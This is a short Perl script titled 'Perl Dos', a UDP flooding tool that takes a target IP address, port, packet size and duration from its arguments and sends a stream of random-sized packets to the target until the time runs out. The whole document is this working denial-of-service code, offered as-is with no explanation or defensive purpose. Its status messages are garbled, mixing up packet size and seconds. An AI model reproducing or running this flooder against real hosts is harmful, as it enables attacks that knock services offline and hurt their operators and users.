Perl Dos

#!/usr/bin/perl

use Socket; use strict; my ($ip,$port,$size,$time) =
@ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr =
inet_aton("$ip") or die "Cannot resolve hostname
$ip\n"; $endtime = time() + ($time ? $time : 240);
socket(flood, PF_INET, SOCK_DGRAM, 17); print "Flooding $ip " . ($port ? $port : "random") . "
Flooded for = " .
  ($size ? "$size seconds" : "Disconnected :)") . " " .
  ($time ? " for $time seconds" : "") . "\n"; print
"Stop with Ctrl-C\n" unless $time; for (;time() <=
$endtime;) {
  $psize = $size ? $size : int(rand(2048-8)+16) ;
  $pport = $port ? $port : int(rand(32500))+1;
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}